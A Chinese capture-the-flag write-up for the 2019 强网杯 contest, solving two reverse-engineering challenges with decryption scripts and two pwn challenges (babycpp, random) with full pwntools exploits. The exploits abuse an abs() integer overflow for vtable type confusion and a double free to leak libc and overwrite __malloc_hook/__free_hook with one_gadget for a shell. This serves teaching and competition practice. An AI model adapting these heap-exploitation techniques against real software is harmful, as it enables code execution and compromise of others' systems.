2019强网杯writeup

PWN+Reverse部分

Posted by b0ldfrev on May 29, 2019

持续更新中…..

Reverse

JustRe

1.程序主要逻辑:

输入为26个字符,过两个check即可得到flag:

2.check1:

把前8个字符转成4字节16进制:“12345678” —> 0x12345678

同理下面代码不贴出来了,把第9、10个字符同样转成1字节16进制。

接下来是一系列sse指令操作,伪代码中v21是输入的第9-10位,v9是第1-8位

这段代码是实质是 根据输入v21与v9 把0x405018处的0x40字节解密

接下来是一个循环操作:

v3是输入的1-8位,v11是9-10位,根据v3与v11 将0x405058处8个dword(0x20)的数据依次解密。

上面那些操作实际上完成了对0x405018-0x405078一共0x60字节数据的解密操作。

然后就是比较了,将0x405018与0x404148处的前0x60字节数据进行比较,若相同就将0x404148处的数据copy入0x405018

这就是第一个check,将代码自修改,为第二个check做准备。

Py对上面的循环 v3与v11约束条件爆破,得到输入的前10位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
loc_405058=(0x1e47913f,0x1e87963c,0xfa0b0acd,0x035b0958,0xf5e74cf4,0xfa1261dc,0x854b2f05,0xf852ed82)


loc_404188=(0x24448840,0x24848d4c,0x000001fc,0x0f50006a,0x1c244411,0x000f58e8,0x8d406a00,0x02482484)


flag=0x10

table = '0123456789'
for i1 in (table):
	print i1
	for i2 in (table):
		print "eee= " +i2
		for i3 in table:
			for i4 in table:
				for i5 in table:
					for i6 in table:
						for i7 in table:
							for i8 in table:
								for i9 in table:
									for i10 in table:
										tmp = i1+i2+i3+i4+i5+i6+i7+i8
										ReR = int(tmp,16)
										ReL = int((i9 + i10),16)

										for i  in range(8):
											if ( (flag+ReR)^((0x1010101 * ReL +loc_405058[i])&0xffffffff)== loc_404188[i]):
												flag=flag+1
											else:
												flag=0x10
												break
										if (flag==0x18):
											print "flag :  " +i1+i2+i3+i4+i5+i6+i7+i8+i9+i10

得到flag前10位 1324220819

3.check2

IDA 现在无法反编译sub_4018A0()为伪代码,可以用winhex直接修改exe,手动把 sub_4018A0() 处的字节覆盖为新函数的字节。

再反编译

对输入分组 8字节一组 补齐24字节,填充模式为:PKCS5 (padding的字节数目为8-(x%8))

进行了根据经验有点像des加密,多次des加密,猜测是3des加密。

然后加密结果与 507ca9e68709cefa20d50dcf90bb976c9090f6b07ba6a4e8 比较(后面8字节为填充字节的加密结果)

动态调试时获取的192位的密钥 AFSAFCEDYCXCXACNDFKDCQXC

在线解密

得到后16位输入 0dcc509a6f75849b

再加上前10位 flag = 13242208190dcc509a6f75849b

bingo

下载链接

webassembly

在本地搭了一个www服务器动态调试,使用了WABT: The WebAssembly Binary Toolkit 反编译wasm文件找到main函数在func16

func15为加密与验证函数,在里面得出flag为38位

常量delta=0x9e3779b9猜测是xtea加密

将明文前32位分四组迭代了32次分别进行xtea加密,动态调试分析到key=[0,0,0,0] 最后结果与固定常量异或求和。

Py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
key = [0,0,0,0]
def xtea(rounds,v,key):
	v0 = v[0]
	v1 = v[1]
	delta = 0x9e3779b9
	sum = delta*rounds
	sum = sum & 0xffffffff
	for i in range(rounds):
		v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])
		v1 = v1 & 0xffffffff
		sum -= delta
		sum = sum & 0xffffffff
		v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])
		v0 = v0 & 0xffffffff
	v[0] = v0
	v[1] = v1


data = [183,-1,28,-19,30,11,115,8,122,-33,-78,29,-83,-22,-26,-96,-94,83, 23,-110,58,63,-16,-58,-6,68,-40,-98,82, 123,-128,48,98,98,99,98,57,125]
#print len(data)
for i in range(len(data)):
	data[i] = data[i] & 0xff
	
cipher = []
for i in range(0,len(data)-9,4):
	data2 = data[i]<<0
	data2 = data2 | (data[i+1]<<8)
	data2 = data2 | (data[i+2]<<16)
	data2 = data2 | (data[i+3]<<24)
	cipher.append(data2)

flag = ''

for i in range(0,len(cipher),2):
	de = []
	de.append(cipher[i])
	de.append(cipher[i+1])
	xtea(32,de,key)
	for j in range(0,len(de)):
		flag += hex(de[j])[2:-1].decode('hex')[::-1]

for i in range(len(data)-6,len(data)):
	flag += chr(data[i])

print flag


下载链接

Pwn

babycpp

bin和idc文件下载

有两种类型可以选择创建,一种str,一种int

分析出的结构体

1
2
3
4
5
6
7
8
9
10
11
12
struct Node{
    void * vtable;    
    char hash[16];   // init -> "\x00"
    _QWORD size;    // init -> 0x10
    _QWORD *content; // init -> malloc(0x80)
}

struct obj{
  char * data
  _QWORD size;
}

该程序在update_hash处,存在漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall update_hash(Node *a1)
{
  int offset; // [rsp+10h] [rbp-20h]
  int v3; // [rsp+14h] [rbp-1Ch]
  int i; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+1Ch] [rbp-14h]
  char hash[8]; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  memset(hash, 0, 8uLL);
  printf("Input idx:", 0LL);
  scanf("%u", &offset);
  printf("Input hash:");
  v5 = read(0, hash, 0x10uLL);
  v3 = abs(offset) % 15;
  for ( i = 0; i < v5; ++i )
  {
    if ( v3 + i == 0x10 )
      v3 = 0;
    a1->hash[v3 + i] = hash[i];
  }
  return __readfsqword(0x28u) ^ v7;
}

abs(offset) % 15 语句是为了获取用户输入的偏移量,又防止用户输入超长度偏移量进行溢出攻击。但offset如果设置0x80000000时,当计算绝对值,变成正数之后,存在整数溢出,这条语句执行的结果就变为0xfffffff8,突破了原有的限制,可以进行向上溢出,溢出对象的vtable位置。通过这个漏洞可以将对象的vtable地址进行修改。

利用方式:

1.类型混淆,将str类型对象的vtable改成int类型的vtable,后3byte不同,1/16的正确几率。

2.str转 int 的vtable后 ,调用int对象的show函数可泄露content中的堆地址。

3.调用int_set,更改conten中的堆地址为 含有vtable地址的堆地址,再将对象int转换回str,调用str对象的show函数 泄露vtable地址,并计算出got表地址。

4.将str转int,调用int_set,在content中伪造obj结构(void *data=malloc_hook,QWORD size=0x8),再在content中添加一指针指向该伪造的结构。再将int转str,调用str_set,设置content中的那个指针(指向伪造的obj结构),实现往malloc_hook写one_gadget.

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./babycpp")

libc = ELF('./libc-2.27.so')

one_off=0x4f322
setvbuf_off=libc.symbols['setvbuf']
malloc_hook_off=libc.symbols['__malloc_hook']

def g(p):
    gdb.attach(p)
    raw_input()

def new_str():
    p.recvuntil("choice:")
    p.sendline(str(0))
    p.recvuntil("choice:")
    p.sendline(str(2))

def set_int(hash, idx, val):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("hash:")
    p.send(p64(hash))
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("val:")
    p.sendline(hex(val))

def show(hash, idx):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("hash:")
    p.send(p64(hash))
    p.recvuntil("idx:")
    p.sendline(str(idx))


def set_str(hash, idx, size, content, is_new=True):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("hash:")
    p.send(p64(hash))
    p.recvuntil("idx:")
    p.sendline(str(idx))
    if is_new:
        p.recvuntil("obj:")
        p.sendline(str(size))
        p.recvuntil("content:")
        p.send(content)    
    else:
        p.recvuntil("content:")
        p.send(content)


def update_hash(old, idx, content):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("hash:")
    p.send(p64(old))
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("hash:")
    p.send(content)


## leak heap address 
new_str()
set_str(0, 0, 0x10, '1'*0x10)
update_hash(0, 0x80000000, '\xe0\x5c')   #change to int 
show(0, 0)

p.recvuntil('The value in the array is ')
heap_addr = int('0x' + p.recv(12), 16)
print "heap_addr= "+hex(heap_addr)

## leak vtable address  ->  leak got address
heap_bin=heap_addr-0xc0
set_int(0, 0, heap_bin)
update_hash(0, 0x80000000, '\x00\x5d')  #change to str

show(0, 0)
p.recvuntil('Content:')
vtable_addr = u64(p.recv(6).ljust(0x8,"\x00"))
print "vtable_addr= " +hex(vtable_addr)
got_addr=vtable_addr+0x2011E0
print "got_addr= " + hex(got_addr)

## leak libc address
update_hash(0, 0x80000000, '\xe0\x5c') #change to int
heap_bin=heap_addr-0xc0+8
set_int(0, 0, heap_bin)
update_hash(0, 0x80000000, '\x00\x5d') #change to str
update_hash(0, 0, p64(got_addr))

show(got_addr,0)
p.recvuntil('Content:')
libc_addr = u64(p.recv(6).ljust(0x8,"\x00"))-setvbuf_off
print "libc= " +hex(libc_addr)

malloc_hook=libc_addr+malloc_hook_off
one=libc_addr+one_off

## set content -> fake obj heap  //  write one_gadget in __malloc_hook
update_hash(got_addr,0,p64(0))

update_hash(0, 0x80000000, '\xe0\x5c') #change to int
set_int(0, 0, malloc_hook)
set_int(0, 1, 0x8)
set_int(0, 2, heap_addr-0x90)

update_hash(0, 0x80000000, '\x00\x5d')  #change to str
set_str(0, 2, 0, p64(one), is_new=False)

## getshell 
p.recvuntil("choice:")
p.sendline(str(0))
p.recvuntil("choice:")
p.sendline(str(2))

p.interactive()

random

这个程序难在逆向,它的结构略复杂,逻辑非常绕,不容易找到利用点。

源程序和我分析并标记出的symbols见https://github.com/yxshyj/project/tree/master/pwn/random

1.预测rand

首先为了方便我们后续理清楚程序逻辑,应该做的就是预测rand,该程序中种子是固定0,所以每次的随机数都是可预测的 ,代码如下

1
2
3
4
5
6
7
8
9
10
    int i, tmp;
    char *str[4] = {"add", "update", "delete", "view"};
    srand(0);
    for(i = 0; i < 50; i++)
    {
        tmp = rand() % 4;
        printf("%d : %s\n", i + 1, str[tmp]);
    }


结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
1 : view
2 : delete
3 : update
4 : view
5 : update
6 : view
7 : delete
8 : add
9 : update
10 : update
11 : delete
12 : view
13 : delete
14 : view
15 : view
16 : delete
17 : add
18 : delete
19 : add
20 : add
21 : view
22 : add
23 : view
24 : update
25 : delete
26 : delete
27 : delete
28 : view
29 : view
30 : view
31 : update
32 : delete
33 : delete
34 : delete
35 : update
36 : view
37 : update
38 : add
39 : view
40 : delete
41 : update
42 : update
43 : update
44 : view
45 : add
46 : update
47 : delete
48 : add
49 : view
50 : delete


2.分析出的结构体

1
2
3
4
5
6
7
8
struct NODE{

NODE *next_node;
void *func_ptr;
long long flag;

}

3.关键函数分析

add_node函数:单向的节点插入,head指向刚插入的节点。

1
2
3
4
5
6
7
8
9
10
11
12
void *__fastcall add_node(__int64 a1, int a2)
{
  NODE *node; 

  node = (NODE *)calloc(1uLL, 0x18uLL);
  node->flag = a2;                           
  node->func_ptr = a1;                          
  node->next_node = head;                     
  head = node;
  return 0;
}

程序的核心函数我暂且叫它 call_list 函数:从head节点依次释放掉链表中节点,之后call节点里面的函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_QWORD *__fastcall call_list(int a1)
{
  _QWORD *result; 
  NODE *ptr; 
  NODE *next;
  NODE *v4; 
  void (__fastcall *v5)(NODE *);

  if ( head )
  {
    ptr = (NODE *)head;
    v4 = (NODE *)head;
    do
    {
      while ( ptr->flag != a1 )
      {
        v4 = ptr;
        result = (_QWORD *)ptr->next_node;
        ptr = (NODE *)ptr->next_node;
        if ( !ptr )
          return result;
      }
      v5 = (void (__fastcall *)(NODE *))ptr->func_ptr;
      if ( ptr == (NODE *)head )
      {
        head = ptr->next_node;
        v4 = (NODE *)head;
        next = (NODE *)head;
      }
      else
      {
        v4->next_node = ptr->next_node;
        next = (NODE *)ptr->next_node;
      }
      free(ptr);
      v5(ptr);    //call func_tr
      ptr = next;
    }
    while ( next );
  }
  return 0;
}

功能函数add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int add()
{
  char v0; // ST06_1
  void *v1; // rax
  char v2; // ST07_1
  signed int i; // [rsp+8h] [rbp-8h]

  puts("Do you want to add note?(Y/N)");
  v0 = getchar();
  LODWORD(v1) = getchar();
  if ( v0 == 'Y' )
  {
    for ( i = 0; i <= 14; ++i )
    {
      v1 = (void *)chunk[2 * i];
      if ( !v1 )
      {
        puts("Input the size of the note:");
        LODWORD(v1) = sub_DE7();
        if ( (signed int)v1 > 0 && (signed int)v1 <= 0x3F )
        {
          chunk[2 * i + 1] = (signed int)v1;
          chunk[2 * i] = malloc((signed int)v1 + 1);
          puts("Input the content of the note:");
          sub_D61((_BYTE *)chunk[2 * i], chunk[2 * i + 1]);
          puts("success!");
          puts("Do you want to add another note, tomorrow?(Y/N)");
          v2 = getchar();
          LODWORD(v1) = getchar();
          if ( v2 == 'Y' )
            LODWORD(v1) = (unsigned __int64)add_node((__int64)add, 2);
        }
        return (signed int)v1;
      }
    }
  }
  else
  {
    v1 = &unk_2030E0;
    --unk_2030E0;
  }
  return (signed int)v1;
}

4.漏洞点

1.main函数中,可以泄露栈上残留的程序基地址。

1
2
3
4
5
6
7
puts("Please input your name:");
read(0, name, 24uLL);
v3 = strdup(name);
srand(unk_203178);
set_run_func(sub_11D6, 1);
printf("How many days do you want to play this game, %s?\n", v3);

2.正常call_list函数调用完之后,链表会被清空,head会指向NULL,但是如果我们在执行add函数时,在最后一步add another note,这会导致一个结果:那就是call_list函数调用完之后,链表不为空,head指针会指向新添加的node,且该node的next指针 指向一个已经被释放的node。

如果我们再次循环add_node,再调用call_list,在清空链表的过程中就会造成 double_free.

3.由于我们之前预测了rand,我们可以预测输入对应的程序执行流程。根据这个,我们利用double free控制qword_203180处的堆指针,改ptr为got表view()泄露libc,改ptr为free_hook再update()往free_hook写入one_gadget.

详细过程见exp

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
#author : b0ldfrev   
#blog : b0ldfrev.top
#context(os='linux', arch='amd64', log_level='debug')

p = process('./random')

elf = ELF('./random')
libc = ELF('./libc-2.23.so')

def g(p):
    gdb.attach(p)
    raw_input()

def add(size, content, another):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the size of the note:\n')
    p.sendline(str(size))
    p.recvuntil('Input the content of the note:\n')
    p.send(content)
    p.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n')
    if(another):
        p.sendline('Y')
    else:
        p.sendline('N')

def update(index, content):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the index of the note:\n')
    p.sendline(str(index))
    p.recvuntil('Input the new content of the note:\n')
    p.send(content)

def delete(index):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the index of the note:\n')
    p.sendline(str(index))

def view(index):
    p.recvuntil('?(Y/N)\n')
    p.sendline('Y')
    p.recvuntil('Input the index of the note:\n')
    p.sendline(str(index))

def no(num):
    for i in range(int(num)):
        p.recvuntil('?(Y/N)\n')
        p.sendline('N')

## leak image_base_addr

p.recvuntil('Please input your name:\n')
p.send('a' * 8)
p.recvuntil('a' * 8)

image_base_addr = u64(p.recv(6).ljust(8, '\0')) - 0xb90
print 'image_base_addr: ' + hex(image_base_addr)

p.sendline('30')

## do double free

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('8')  # 8 add
add(17, '\n', True) # index 0
no(7)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('7') # 15 view
no(7 + 2)

## continue malloc to control 

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('2') # 17 add
add(0x21,'\n', False) # index 1  // fake_chunk->size
no(1)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('2') # 19 add
offset = 0x203180
add(17, p64(image_base_addr + offset+0x10) + '\n', False) ## index 2  // set double_free_chunk -> attack_address(qword_203180 +0x10)
no(1)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1') # 20 add 
add(17, "1111111\n", False)  # index 3  // fake_chunk's next_chunk->size ,prevent error when free fake_chunk

## do some padding and free one chunk in order to align fast_bin to 10

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('6')  
no(6)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1')  
delete(0)

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('1') # 28 
no(1)

## malloc to (qword_203180 +0x10) and fill ptr into got

p.recvuntil('How many times do you want to play this game today?(0~10)\n')
p.sendline('10')  # 38 add -> update -> view -> update -> delete -> delete -> delete -> update 
add(17, p64(image_base_addr + elf.got['puts'])+p64(0x11) + '\n', False) # index 0
no(1)

## leak libc address and fill __free_hook into one_gadget

view(2)
libc_base_addr = u64(p.recv(6).ljust(8, '\0')) - libc.symbols['puts']
print 'libc_base_addr: ' + hex(libc_base_addr)
one_gadget=libc_base_addr+0x4526a
update(0, p64(libc_base_addr + libc.symbols['__free_hook'])+p64(0x11) + '\n')
no(3)
update(2, p64(one_gadget) + '\n')

## while free(node) ,get shell

p.interactive()